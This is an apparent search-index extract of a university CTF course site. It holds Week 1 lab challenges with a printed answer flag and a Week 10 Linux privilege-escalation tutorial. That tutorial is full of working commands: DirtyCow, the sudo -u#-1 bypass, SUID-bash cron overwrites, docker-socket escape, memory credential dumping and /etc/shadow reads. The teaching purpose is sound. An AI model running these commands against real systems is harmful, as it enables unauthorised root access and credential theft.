"},{"location":"CS315/2021/Week%201/#example_4","title":"Example","text":""},{"location":"CS315/2021/Week%201/#encode","title":"encode:","text":"original image
watermark
python encode.py --image ori.png --watermark watermark.png --result res.png\n
result
"},{"location":"CS315/2021/Week%201/#decode","title":"decode:","text":"python decode.py --original ori.png --image res.png --result extract.png\n
watermark
"},{"location":"CS315/2021/Week%201/#hex-editor","title":"Hex Editor","text":"A hexadecimal (hex) editor (also called a binary file editor or byte editor) is a computer program you can use to manipulate the fundamental binary data that constitutes a computer file. The name \u201chex\u201d comes from \u201chexadecimal,\u201d a standard numerical format for representing binary data. A typical computer file occupies multiple areas on the platter(s) of a disk drive, whose contents are combined to form the file. Hex editors that are designed to parse and edit sector data from the physical segments of floppy or hard disks are sometimes called sector editors or disk editors. A hex editor is used to see or edit the raw, exact contents of a file. Hex editors may used to correct data corrupted by a system or application. A list of editors can be found on the forensics Wiki. You can download one and install it on your system.
"},{"location":"CS315/2021/Week%201/#example_5","title":"Example","text":"Open fileA.jpg in a hex editor. (Most Hex editors have either a \u201cFile > Open\u201d option or a simple drag and drop.)
When you open fileA.jpg in your hex editor, you should see something similar to this:
Your hex editor should also have a \u201cgo to\u201d or \u201cfind\u201d feature so you can jump to a specific byte.
"},{"location":"CS315/2021/Week%201/#exercise","title":"Exercise","text":"Every lab we will have 2 or 3 challenges about the topics this week. But in case the difficulty of the challenge, only the first 2 challenges are required. But if you want to fight CTF so hard, you can try the third one. Solving the third one would give you extra points for this lab and some prizes as well.
For finishing the challenges, you may click this site: COMPASS CTF Platform and find the category CS315
. Other challenges are for CTF team members, but you also can finish them freely. After uploading the flag on the platform, you also need to upload a writeup to blackboard system to grade.
The writeup
is a file to describe how you solve the challenges and you need also post flag in it. The writeup would use to grade and in case you forget to submit the writeup, during the argue procedure, we would check the submission in platform.
(5 pt) Congratulations!\nNow in order to check whether you are a robot, you need to submit this flag to show that you are a real human!\nflag{w31com3_t0_CS315_c0Urs3!!!}\n
The flag you submit should be flag{w31com3_t0_CS315_c0Urs3!!!}
, and the example writeup probably be:
Writeup.md\nI am a human so I copied the flag and submit it.\nHere is the flag:\nflag{w31com3_t0_CS315_c0Urs3!!!}\n
"},{"location":"CS315/2021/Week%201/#5-pt-what-is-so-called-stream","title":"(5 pt) What is so called stream?","text":"The network is so bad that I can't even send TCP stream through Internet. Wondering if I can use \"UDP streams\"...
capture.pcap
Try to find flag
in this file, the flag format is: picoCTF{***}
Hint1: Wireshark may be useful.
"},{"location":"CS315/2021/Week%201/#5-pt-https-with-secret-sauce","title":"(5 pt) HTTPS with secret sauce","text":"Solved the network problem yesterday, but I found some guy was sniffing my network traffic. I need to be careful to protect my flag. Decide to use HTTPS to submit my flag to web01.fruitinc.xyz
.
By the way, upload my super\u2606secret\u2606file to network disk.
capture.pcapng
pre-master secret.txt
Try to find flag
in this file, the flag format is: flag{y2***}
That hacker still got my flag! Fine, I'm going to send my file byte by byte. Besides, combined with my knowledge of programming, encryption, and stenography I'm going to fight the final round. WE ARE IN THE ENDGAME NOW.
capture.pcapng
Try to find flag
in this file, the flag format is: flag{***}
This challenge is extremely hard. The winner will get a badge for solving this.
"},{"location":"CS315/2021/Week%2010/","title":"Week10 PWN: Privilege Escalation","text":"According to @Hacktricks: https://book.hacktricks.xyz/
"},{"location":"CS315/2021/Week%2010/#system-information","title":"System Information","text":""},{"location":"CS315/2021/Week%2010/#os-info","title":"OS info","text":"Let's starting gaining some knowledge of the OS running
(cat /proc/version || uname -a ) 2>/dev/null\nlsb_release -a 2>/dev/null\n
"},{"location":"CS315/2021/Week%2010/#path","title":"Path","text":"If you have write permissions on any folder inside the PATH
variable you may be able to hijacking some libraries or binaries:
echo $PATH\n
"},{"location":"CS315/2021/Week%2010/#env-info","title":"Env info","text":"Interesting information, passwords or API keys in the environment variables?
(env || set) 2>/dev/null\n
"},{"location":"CS315/2021/Week%2010/#kernel-exploits","title":"Kernel exploits","text":"Check the kernel version and if there is some exploit that can be used to escalate privileges
cat /proc/version\nuname -a\nsearchsploit \"Linux Kernel\"\n
You can find a good vulnerable kernel list and some already compiled exploits here: https://github.com/lucyoa/kernel-exploits and exploitdb sploits. Other sites where you can find some compiled exploits: https://github.com/bwbwbwbw/linux-exploit-binaries, https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack
To extract all the vulnerable kernel versions from that web you can do:
curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep \"Kernels: \" | cut -d \":\" -f 2 | cut -d \"<\" -f 1 | tr -d \",\" | tr ' ' '\\n' | grep -v \"^\\d\\.\\d$\" | sort -u -r | tr '\\n' ' '\n
Tools that could help searching for kernel exploits are:
linux-exploit-suggester.sh linux-exploit-suggester2.pl linuxprivchecker.py (execute IN victim,only checks exploits for kernel 2.x)
Always search the kernel version in Google, maybe your kernel version is wrote in some kernel exploit and then you will be sure that this exploit is valid.
"},{"location":"CS315/2021/Week%2010/#cve-2016-5195-dirtycow","title":"CVE-2016-5195 (DirtyCow)","text":"Linux Privilege Escalation - Linux Kernel <= 3.19.0-73.8
# make dirtycow stable\necho 0 > /proc/sys/vm/dirty_writeback_centisecs\ng++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil\nhttps://github.com/dirtycow/dirtycow.github.io/wiki/PoCs\nhttps://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c\n
"},{"location":"CS315/2021/Week%2010/#sudo-version","title":"Sudo version","text":"Based on the vulnerable sudo versions that appear in:
searchsploit sudo\n
You can check if the sudo version is vulnerable using this grep.
sudo -V | grep \"Sudo ver\" | grep \"1\\.[01234567]\\.[0-9]\\+\\|1\\.8\\.1[0-9]\\*\\|1\\.8\\.2[01234567]\"\n
"},{"location":"CS315/2021/Week%2010/#sudo-v128","title":"sudo <= v1.28","text":"From @sickrov
sudo -u#-1 /bin/bash\n
"},{"location":"CS315/2021/Week%2010/#dmesg-signature-verification-failed","title":"Dmesg signature verification failed","text":"Check smasher2 box of HTB for an example of how this vuln could be exploited
dmesg 2>/dev/null | grep \"signature\"\n
"},{"location":"CS315/2021/Week%2010/#more-system-enumeration","title":"More system enumeration","text":"date 2>/dev/null #Date\n(df -h || lsblk) #System stats\nlscpu #CPU info\nlpstat -a 2>/dev/null #Printers info\n
"},{"location":"CS315/2021/Week%2010/#enumerate-possible-defenses","title":"Enumerate possible defenses","text":""},{"location":"CS315/2021/Week%2010/#apparmor","title":"AppArmor","text":"if [ `which aa-status 2>/dev/null` ]; then\n aa-status\n elif [ `which apparmor_status 2>/dev/null` ]; then\n apparmor_status\n elif [ `ls -d /etc/apparmor* 2>/dev/null` ]; then\n ls -d /etc/apparmor*\n else\n echo \"Not found AppArmor\"\nfi\n
"},{"location":"CS315/2021/Week%2010/#grsecurity","title":"Grsecurity","text":"((uname -r | grep \"\\-grsec\" >/dev/null 2>&1 || grep \"grsecurity\" /etc/sysctl.conf >/dev/null 2>&1) && echo \"Yes\" || echo \"Not found grsecurity\")\n
"},{"location":"CS315/2021/Week%2010/#pax","title":"PaX","text":"(which paxctl-ng paxctl >/dev/null 2>&1 && echo \"Yes\" || echo \"Not found PaX\")\n
"},{"location":"CS315/2021/Week%2010/#execshield","title":"Execshield","text":"(grep \"exec-shield\" /etc/sysctl.conf || echo \"Not found Execshield\")\n
"},{"location":"CS315/2021/Week%2010/#selinux","title":"SElinux","text":" (sestatus 2>/dev/null || echo \"Not found sestatus\")\n
"},{"location":"CS315/2021/Week%2010/#aslr","title":"ASLR","text":"cat /proc/sys/kernel/randomize_va_space 2>/dev/null\n#If 0, not enabled\n
"},{"location":"CS315/2021/Week%2010/#docker-breakout","title":"Docker Breakout","text":"If you are inside a docker container you can try to escape from it:
https://book.hacktricks.xyz/linux-unix/privilege-escalation/docker-breakout
"},{"location":"CS315/2021/Week%2010/#drives","title":"Drives","text":"Check what is mounted and unmounted, where and why. If anything is unmounted you could try to mount it and check for private info
ls /dev 2>/dev/null | grep -i \"sd\"\ncat /etc/fstab 2>/dev/null | grep -v \"^#\" | grep -Pv \"\\W*\\#\" 2>/dev/null\n#Check if credentials in fstab\ngrep -E \"(user|username|login|pass|password|pw|credentials)[=:]\" /etc/fstab /etc/mtab 2>/dev/null\n
"},{"location":"CS315/2021/Week%2010/#installed-software","title":"Installed Software","text":""},{"location":"CS315/2021/Week%2010/#useful-software","title":"Useful software","text":"Enumerate useful binaries
which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null\n
Also, check if any compiler is installed. This is useful if you need to use some kernel exploit as it's recommended to compile it in the machine where you are going to use it (or in one similar)
(dpkg --list 2>/dev/null | grep \"compiler\" | grep -v \"decompiler\\|lib\" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r \"/gcc[0-9\\.-]\\+$\" 2>/dev/null | grep -v \"/doc/\")\n
"},{"location":"CS315/2021/Week%2010/#vulnerable-software-installed","title":"Vulnerable Software Installed","text":"Check for the version of the installed packages and services. Maybe there is some old Nagios version (for example) that could be exploited for escalating privileges\u2026 It is recommended to check manually the version of the more suspicious installed software.
dpkg -l #Debian\nrpm -qa #Centos\n
If you have SSH access to the machine you could also use openVAS to check for outdated and vulnerable software installed inside the machine.
Note that these commands will show a lot of information that will mostly be useless, therefore it's recommended some application like OpenVAS or similar that will check if any installed software version is vulnerable to known exploits
"},{"location":"CS315/2021/Week%2010/#processes","title":"Processes","text":"Take a look to what processes are being executed and check if any process has more privileges that it should (maybe a tomcat being executed by root?)
ps aux\nps -ef\ntop -n 1\n
Always check for possible electron/cef/chromium debuggers running, you could abuse it to escalate privileges. Linpeas detect those by checking the --inspect
parameter inside the command line of the process. Also check your privileges over the processes binaries, maybe you can overwrite someone.
You can use tools like pspy to monitor processes. This can be very useful to identify vulnerable processes being executed frequently or when a set of requirements are met.
"},{"location":"CS315/2021/Week%2010/#process-memory","title":"Process memory","text":"Some services of a server save credentials in clear text inside the memory. Normally you will need root privileges to read the memory of processes that belong to other users, therefore this is usually more useful when you are already root and want to discover more credentials. However, remember that as a regular user you can read the memory of the processes you own.
"},{"location":"CS315/2021/Week%2010/#gdb","title":"GDB","text":"If you have access to the memory of a FTP service (for example) you could get the Heap and search inside of it the credentials.
gdb -p <FTP_PROCESS_PID>\n(gdb) info proc mappings\n(gdb) q\n(gdb) dump memory /tmp/mem_ftp <START_HEAD> <END_HEAD>\n(gdb) q\nstrings /tmp/mem_ftp #User and password\n
"},{"location":"CS315/2021/Week%2010/#gdb-script","title":"GDB Script","text":"#!/bin/bash\n#./dump-memory.sh <PID>\ngrep rw-p /proc/$1/maps \\\n | sed -n 's/^\\([0-9a-f]*\\)-\\([0-9a-f]*\\) .*$/\\1 \\2/p' \\\n | while read start stop; do \\\n gdb --batch --pid $1 -ex \\\n \"dump memory $1-$start-$stop.dump 0x$start 0x$stop\"; \\\ndone\n
"},{"location":"CS315/2021/Week%2010/#procpidmaps-procpidmem","title":"/proc/$pid/maps & /proc/$pid/mem","text":"For a given process ID, maps shows how memory is mapped within that processes' virtual address space; it also shows the permissions of each mapped region. The mem pseudo file exposes the processes memory itself. From the maps file we know which memory regions are readable and their offsets. We use this information to seek into the mem file and dump all readable regions to a file.
procdump()\n(\n cat /proc/$1/maps | grep -Fv \".so\" | grep \" 0 \" | awk '{print $1}' | ( IFS=\"-\"\n while read a b; do\n dd if=/proc/$1/mem bs=$( getconf PAGESIZE ) iflag=skip_bytes,count_bytes \\\n skip=$(( 0x$a )) count=$(( 0x$b - 0x$a )) of=\"$1_mem_$a.bin\"\n done )\n cat $1*.bin > $1.dump\n rm $1*.bin\n)\n
"},{"location":"CS315/2021/Week%2010/#devmem","title":"/dev/mem","text":"/dev/mem
provides access to the system's physical memory, not the virtual memory. The kernels virtual address space can be accessed using /dev/kmem. Typically, /dev/mem
is only readable by root and kmem group.
strings /dev/mem -n10 | grep -i PASS\n
"},{"location":"CS315/2021/Week%2010/#tools","title":"Tools","text":"To dump a process memory you could use:
If you find that the authenticator process is running:
ps -ef | grep \"authenticator\"\nroot 2027 2025 0 11:46 ? 00:00:00 authenticator\n
You can dump the process (see before sections to find different ways to dump the memory of a process) and search for credentials inside the memory:
./dump-memory.sh 2027\nstrings *.dump | grep -i password\n
"},{"location":"CS315/2021/Week%2010/#mimipenguin","title":"mimipenguin","text":"The tool https://github.com/huntergregal/mimipenguin will steal clear text credentials from memory and from some well known files. It requires root privileges to work properly.
Feature Process Name GDM password (Kali Desktop, Debian Desktop) gdm-password Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) gnome-keyring-daemon LightDM (Ubuntu Desktop) lightdm VSFTPd (Active FTP Connections) vsftpd Apache2 (Active HTTP Basic Auth Sessions) apache2 OpenSSH (Active SSH Sessions - Sudo Usage) sshd:"},{"location":"CS315/2021/Week%2010/#scheduledcron-jobs","title":"Scheduled/Cron jobs","text":"Check if any scheduled job is vulnerable. Maybe you can take advantage of a script being executed by root (wildcard vuln? can modify files that root uses? use symlinks? create specific files in the directory that root uses?).
crontab -l\nls -al /etc/cron* /etc/at*\ncat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v \"^#\"\n
"},{"location":"CS315/2021/Week%2010/#cron-path","title":"Cron path","text":"For example, inside /etc/crontab you can find the PATH: PATH=/home/user:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
(Note how the user \"user\" has writing privileges over /home/user)
If inside this crontab the root user tries to execute some command or script without setting the path. For example: root overwrite.sh
Then, you can get a root shell by using:
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh\n#Wait cron job to be executed\n/tmp/bash -p #The effective uid and gid to be set to the real uid and gid\n
"},{"location":"CS315/2021/Week%2010/#cron-using-a-script-with-a-wildcard-wildcard-injection","title":"Cron using a script with a wildcard (Wildcard Injection)","text":"If a script being executed by root has a \u201c*\u201d inside a command, you could exploit this to make unexpected things (like privesc). Example:
rsync -a *.sh rsync://host.back/src/rbd #You can create a file called \"-e sh myscript.sh\" so the script will execute our script\n
If the wildcard is preceded of a path like /some/path/* , it's not vulnerable (even ./* is not).
Read the following page for more wildcard exploitation tricks:
https://book.hacktricks.xyz/linux-unix/privilege-escalation/wildcards-spare-tricks
"},{"location":"CS315/2021/Week%2010/#cron-script-overwriting-and-symlink","title":"Cron script overwriting and symlink","text":"If you can modify a cron script executed by root, you can get a shell very easily:
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > </PATH/CRON/SCRIPT>\n#Wait until it is executed\n/tmp/bash -p\n
If the script executed by root uses a directory where you have full access, maybe it could be useful to delete that folder and create a symlink folder to another one serving a script controlled by you
ln -d -s </PATH/TO/POINT> </PATH/CREATE/FOLDER>\n
"},{"location":"CS315/2021/Week%2010/#frequent-cron-jobs","title":"Frequent cron jobs","text":"You can monitor the processes to search for processes that are being executed every 1,2 or 5 minutes. Maybe you can take advantage of it and escalate privileges.
For example, to monitor every 0.1s during 1 minute, sort by less executed commands and deleting the commands that have beeing executed all the time, you can do:
for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v \"\\[\" | sed '/^.\\{200\\}./d' | sort | grep -E -v \"\\s*[6-9][0-9][0-9]|\\s*[0-9][0-9][0-9][0-9]\"; rm /tmp/monprocs.tmp;\n
You can also use pspy (this will monitor and list every process that start).
"},{"location":"CS315/2021/Week%2010/#invisible-cron-jobs","title":"Invisible cron jobs","text":"It's possible to create a cronjob putting a carriage return after a comment (without new line character), and the cron job will work. Example (note the carriege return char):
#This is a comment inside a cron config file\\r* * * * * echo \"Surprise!\"\n
"},{"location":"CS315/2021/Week%2010/#services","title":"Services","text":""},{"location":"CS315/2021/Week%2010/#writable-service-files","title":"Writable .service files","text":"Check if you can write any .service
file, if you can, you could modify it so it executes your backdoor when the service is started, restarted or stopped (maybe you will need to wait until the machine is rebooted). For example create your backdoor inside the .service file with ExecStart=/tmp/script.sh
Keep in mid that if you have write permissions over binaries being executed by services, you can change them for backdoors so when the services get re-executed the backdoors will be executed.
"},{"location":"CS315/2021/Week%2010/#systemd-path-relative-paths","title":"systemd PATH - Relative Paths","text":"You can see the PATH used by systemd with:
systemctl show-environment\n
If you find that you can write in any of the folders of the path you may be able to escalate privileges. You need to search for relative paths being used on service configurations files like:
ExecStart=faraday-server\nExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I'\nExecStop=/bin/sh \"uptux-vuln-bin3 -stuff -hello\"\n
Then, create a executable with the same name as the relative path binary inside the systemd PATH folder you can write, and when the service is asked to execute the vulnerable action (Start, Stop, Reload), your backdoor will be executed (unprivileged users usually cannot start/stop services but check if you can using sudo -l
).
Learn more about services with man systemd.service
.
Timers are systemd unit files whose name ends in . timer that control . service files or events. Timers can be used as an alternative to cron. Timers have built-in support for calendar time events, monotonic time events, and can be run asynchronously.
You can enumerate all the timers doing:
systemctl list-timers --all\n
"},{"location":"CS315/2021/Week%2010/#writable-timers","title":"Writable timers","text":"If you can modify a timer you can make it execute some existent systemd.unit (like a .service
or a .target
)
Unit=backdoor.service\n
In the documentation you can read what the Unit is:
The unit to activate when this timer elapses. The argument is a unit name, whose suffix is not \".timer\". If not specified, this value defaults to a service that has the same name as the timer unit, except for the suffix. (See above.) It is recommended that the unit name that is activated and the unit name of the timer unit are named identically, except for the suffix.
Therefore, in order to abuse this permissions you would need to:
.service
) that is executing a writable binaryLearn more about timers with man systemd.timer
.
In order to enable a timer you need root privileges and to execute:
sudo systemctl enable backu2.timer\nCreated symlink /etc/systemd/system/multi-user.target.wants/backu2.timer \u2192 /lib/systemd/system/backu2.timer.\n
Note the timer is activated by creating a symlink to it on /etc/systemd/system/<WantedBy_section>.wants/<name>.timer
In brief, a Unix Socket (technically, the correct name is Unix domain socket, UDS) allows communication between two different processes on either the same machine or different machines in client-server application frameworks. To be more precise, it\u2019s a way of communicating among computers using a standard Unix descriptors file. (From here).
Sockets can be configured using .socket
files.
Learn more about sockets with man systemd.socket
. Inside this file some several interesting parameters can be configured:
ListenStream
, ListenDatagram
, ListenSequentialPacket
, ListenFIFO
, ListenSpecial
, ListenNetlink
, ListenMessageQueue
, ListenUSBFunction
: This options are different but as summary as used to indicate where is going to listen the socket (the path of the AF_UNIX socket file, the IPv4/6 and/or port number to listen...).Accept
: Takes a boolean argument. If true, a service instance is spawned for each incoming connection and only the connection socket is passed to it. If false, all listening sockets themselves are passed to the started service unit, and only one service unit is spawned for all connections. This value is ignored for datagram sockets and FIFOs where a single service unit unconditionally handles all incoming traffic. Defaults to false. For performance reasons, it is recommended to write new daemons only in a way that is suitable for Accept=no
.ExecStartPre
, ExecStartPost
: Takes one or more command lines, which are executed before or after the listening sockets/FIFOs are created and bound, respectively. The first token of the command line must be an absolute filename, then followed by arguments for the process.ExecStopPre
, ExecStopPost
: Additional commands that are executed before or after the listening sockets/FIFOs are closed and removed, respectively.Service
: Specifies the service unit name to activate on incoming traffic. This setting is only allowed for sockets with Accept=no. It defaults to the service that bears the same name as the socket (with the suffix replaced). In most cases, it should not be necessary to use this option.If you find a writable .socket
file you can add at the beginning of the [Socket]
section something like: ExecStartPre=/home/kali/sys/backdoor
and the backdoor will be executed before the socket is created. Therefore, you will probably need to wait until the machine is rebooted. Note that the system must be using that socket file configuration or the backdoor won't be executed
If you identify any writable socket (now where are talking about Unix Sockets, not about the config .socket
files), then, you can communicate with that socket and maybe exploit a vulnerability.
netstat -a -p --unix\n
"},{"location":"CS315/2021/Week%2010/#raw-connection","title":"Raw connection","text":"#apt-get install netcat-openbsd\nnc -U /tmp/socket #Connect to UNIX-domain stream socket\nnc -uU /tmp/socket #Connect to UNIX-domain datagram socket\n\n#apt-get install socat\nsocat - UNIX-CLIENT:/dev/socket #connect to UNIX-domain socket, irrespective of its type\n
Exploitation example:
https://book.hacktricks.xyz/linux-unix/privilege-escalation/socket-command-injection
"},{"location":"CS315/2021/Week%2010/#http-sockets","title":"HTTP sockets","text":"Note that there may be some sockets listening for HTTP requests (I'm not talking about .socket files but about the files acting as unix sockets). You can check this with:
curl --max-time 2 --unix-socket /pat/to/socket/files http:/index\n
If the socket respond with a HTTP request, then you can communicate with it and maybe exploit some vulnerability.
"},{"location":"CS315/2021/Week%2010/#writable-docker-socket","title":"Writable Docker Socket","text":"The docker socket is typically located at /var/run/docker.sock
and is only writable by root
user and docker
group. If for some reason you have write permissions over that socket you can escalate privileges. The following commands can be used to escalate privileges:
docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash\ndocker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh\n
"},{"location":"CS315/2021/Week%2010/#use-docker-web-api-from-socket-without-docker-package","title":"Use docker web API from socket without docker package","text":"If you have access to docker socket but you can't use the docker binary (maybe it isn't even installed), you can use directly the web API with curl
.
The following commands are a example to create a docker container that mount the root of the host system and use socat
to execute commands into the new docker.
# List docker images\ncurl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json\n##[{\"Containers\":-1,\"Created\":1588544489,\"Id\":\"sha256:<ImageID>\",...}]\n# Send JSON to docker API to create the container\ncurl -XPOST -H \"Content-Type: application/json\" --unix-socket /var/run/docker.sock -d '{\"Image\":\"<ImageID>\",\"Cmd\":[\"/bin/sh\"],\"DetachKeys\":\"Ctrl-p,Ctrl-q\",\"OpenStdin\":true,\"Mounts\":[{\"Type\":\"bind\",\"Source\":\"/\",\"Target\":\"/host_root\"}]}' http://localhost/containers/create\n##{\"Id\":\"<NewContainerID>\",\"Warnings\":[]}\ncurl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers/<NewContainerID>/start\n
The last step is to use socat
to initiate a connection to the container, sending an attach request
socat - UNIX-CONNECT:/var/run/docker.sock\nPOST /containers/<NewContainerID>/attach?stream=1&stdin=1&stdout=1&stderr=1 HTTP/1.1\nHost:\nConnection: Upgrade\nUpgrade: tcp\n\n#HTTP/1.1 101 UPGRADED\n#Content-Type: application/vnd.docker.raw-stream\n#Connection: Upgrade\n#Upgrade: tcp\n
Now, you can execute commands on the container from this socat
connection.
Note that if you have write permissions over the docker socket because you are inside the group docker
you have more ways to escalate privileges. If the docker API is listening in a port you can also be able to compromise it.
If you find that you can use the ctr
command read the following page as you may be able to abuse it to escalate privileges:
https://book.hacktricks.xyz/linux-unix/privilege-escalation/containerd-ctr-privilege-escalation
"},{"location":"CS315/2021/Week%2010/#runc-privilege-escalation","title":"RunC privilege escalation","text":"If you find that you can use the runc
command read the following page as you may be able to abuse it to escalate privileges:
https://book.hacktricks.xyz/linux-unix/privilege-escalation/runc-privilege-escalation
"},{"location":"CS315/2021/Week%2010/#d-bus","title":"D-Bus","text":"D-BUS is an inter-process communication (IPC) system, providing a simple yet powerful mechanism allowing applications to talk to one another, communicate information and request services. D-BUS was designed from scratch to fulfil the needs of a modern Linux system.
D-BUS, as a full-featured IPC and object system, has several intended uses. First, D-BUS can perform basic application IPC, allowing one process to shuttle data to another\u2014think UNIX domain sockets on steroids. Second, D-BUS can facilitate sending events, or signals, through the system, allowing different components in the system to communicate and ultimately to integrate better. For example, a Bluetooth daemon can send an incoming call signal that your music player can intercept, muting the volume until the call ends. Finally, D-BUS implements a remote object system, letting one application request services and invoke methods from a different object\u2014think CORBA without the complications. (From here).
D-Bus uses an allow/deny model, where each message (method call, signal emission, etc.) can be allowed or denied according to the sum of all policy rules which match it. Each or rule in the policy should have the own
, send_destination
or receive_sender
attribute set.
Part of the policy of /etc/dbus-1/system.d/wpa_supplicant.conf
:
<policy user=\"root\">\n <allow own=\"fi.w1.wpa_supplicant1\"/>\n <allow send_destination=\"fi.w1.wpa_supplicant1\"/>\n <allow send_interface=\"fi.w1.wpa_supplicant1\"/>\n <allow receive_sender=\"fi.w1.wpa_supplicant1\" receive_type=\"signal\"/>\n</policy>\n
Therefore, if a policy is allowing your user in anyway to interact with the bus, you could be able to exploit it to escalate privileges (maybe just listing for some passwords?).
Note that a policy that doesn't specify any user or group affects everyone (<policy>
). Policies to the context \"default\" affects everyone not affected by other policies (<policy context=\"default\"
).
Learn how to enumerate and exploit a D-Bus communication here:
https://book.hacktricks.xyz/linux-unix/privilege-escalation/d-bus-enumeration-and-command-injection-privilege-escalation
"},{"location":"CS315/2021/Week%2010/#network","title":"Network","text":"It's always interesting to enumerate the network and figure out the position of the machine.
"},{"location":"CS315/2021/Week%2010/#generic-enumeration","title":"Generic enumeration","text":"#Hostname, hosts and DNS\ncat /etc/hostname /etc/hosts /etc/resolv.conf\ndnsdomainname\n\n#Content of /etc/inetd.conf & /etc/xinetd.conf\ncat /etc/inetd.conf /etc/xinetd.conf\n\n#Interfaces\ncat /etc/networks\n(ifconfig || ip a)\n\n#Neighbours\n(arp -e || arp -a)\n(route || ip n)\n\n#Iptables rules\n(timeout 1 iptables -L 2>/dev/null; cat /etc/iptables/* | grep -v \"^#\" | grep -Pv \"\\W*\\#\" 2>/dev/null)\n\n#Files used by network services\nlsof -i\n
"},{"location":"CS315/2021/Week%2010/#open-ports","title":"Open ports","text":"Always check network services running on the machine that you wasn't able to interact with before accessing to it:
(netstat -punta || ss --ntpu)\n(netstat -punta || ss --ntpu) | grep \"127.0\"\n
"},{"location":"CS315/2021/Week%2010/#sniffing","title":"Sniffing","text":"Check if you can sniff traffic. If you can, you could be able to grab some credentials.
timeout 1 tcpdump\n
"},{"location":"CS315/2021/Week%2010/#users","title":"Users","text":""},{"location":"CS315/2021/Week%2010/#generic-enumeration_1","title":"Generic Enumeration","text":"Check who you are, which privileges do you have, which users are in the systems, which ones can login and which ones have root privileges:
#Info about me\nid || (whoami && groups) 2>/dev/null\n#List all users\ncat /etc/passwd | cut -d: -f1\n#List users with console\ncat /etc/passwd | grep \"sh$\"\n#List superusers\nawk -F: '($3 == \"0\") {print}' /etc/passwd\n#Currently logged users\nw\n#Login history\nlast | tail\n#Last log of each user\nlastlog\n\n#List all users and their groups\nfor i in $(cut -d\":\" -f1 /etc/passwd 2>/dev/null);do id $i;done 2>/dev/null | sort\n#Current user PGP keys\ngpg --list-keys 2>/dev/null\n
"},{"location":"CS315/2021/Week%2010/#big-uid","title":"Big UID","text":"Some Linux versions were affected by a bug that allow users with UID > INT_MAX to escalate privileges. More info: here, here and here. Exploit it using: systemd-run -t /bin/bash
Check if you are a member of some group that could grant you root privileges:
https://book.hacktricks.xyz/linux-unix/privilege-escalation/interesting-groups-linux-pe
"},{"location":"CS315/2021/Week%2010/#clipboard","title":"Clipboard","text":"Check if anything interesting is located inside the clipboard (if possible)
if [ `which xclip 2>/dev/null` ]; then\n echo \"Clipboard: \"`xclip -o -selection clipboard 2>/dev/null`\n echo \"Highlighted text: \"`xclip -o 2>/dev/null`\n elif [ `which xsel 2>/dev/null` ]; then\n echo \"Clipboard: \"`xsel -ob 2>/dev/null`\n echo \"Highlighted text: \"`xsel -o 2>/dev/null`\n else echo \"Not found xsel and xclip\"\n fi\n
"},{"location":"CS315/2021/Week%2010/#password-policy","title":"Password Policy","text":"grep \"^PASS_MAX_DAYS\\|^PASS_MIN_DAYS\\|^PASS_WARN_AGE\\|^ENCRYPT_METHOD\" /etc/login.defs\n
"},{"location":"CS315/2021/Week%2010/#known-passwords","title":"Known passwords","text":"If you know any password of the environment try to login as each user using the password.
"},{"location":"CS315/2021/Week%2010/#su-brute","title":"Su Brute","text":"If don't mind about doing a lot of noise and su
and timeout
binaries are present on the computer you can try to brute-force user using su-bruteforce. Linpeas with -a
parameter also try to brute-force users.
If you find that you can write inside some folder of the $PATH you may be able to escalate privileges by creating a backdoor inside the writable folder with the name of some command that is going to be executed by a different user (root ideally) and that is not loaded from a folder that is located previous to your writable folder in $PATH.
"},{"location":"CS315/2021/Week%2010/#sudo-and-suid","title":"SUDO and SUID","text":"You could be allowed to execute some command using sudo or they could have the suid bit. Check it using:
sudo -l #Check commands you can execute with sudo\nfind / -perm -4000 2>/dev/null #Find all SUID binaries\n
Some unexpected commands allows you to read and/or write files or even execute command. For example:
sudo awk 'BEGIN {system(\"/bin/sh\")}'\nsudo find /etc -exec sh -i \\;\nsudo tcpdump -n -i lo -G1 -w /dev/null -z ./runme.sh\nsudo tar c a.tar -I ./runme.sh a\nftp>!/bin/sh\nless>! <shell_comand>\n
"},{"location":"CS315/2021/Week%2010/#nopasswd","title":"NOPASSWD","text":"Sudo configuration might allow a user to execute some command with another user privileges without knowing the password.
$ sudo -l\nUser demo may run the following commands on crashlab:\n (root) NOPASSWD: /usr/bin/vim\n
In this example the user demo
can run vim
as root
, it is now trivial to get a shell by adding an ssh key into the root directory or by calling sh
.
sudo vim -c '!sh'\n
"},{"location":"CS315/2021/Week%2010/#setenv","title":"SETENV","text":"This directive allows the user to set an environment variable while executing something:
$ sudo -l\nUser waldo may run the following commands on admirer:\n (ALL) SETENV: /opt/scripts/admin_tasks.sh\n
This example, based on HTB machine Admirer, was vulnerable to PYTHONPATH hijacking in order to load an arbitrary python library while executing the script as root:
sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh\n
"},{"location":"CS315/2021/Week%2010/#sudo-execution-bypassing-paths","title":"Sudo execution bypassing paths","text":"Jump to read other files or use symlinks. For example in sudeores file: hacker10 ALL= (root) /bin/less /var/log/*
sudo less /var/logs/anything\nless>:e /etc/shadow #Jump to read other files using privileged less\nln /etc/shadow /var/log/new\nsudo less /var/log/new #Use symlinks to read any file\n
If a wilcard is used (*), it is even easier:
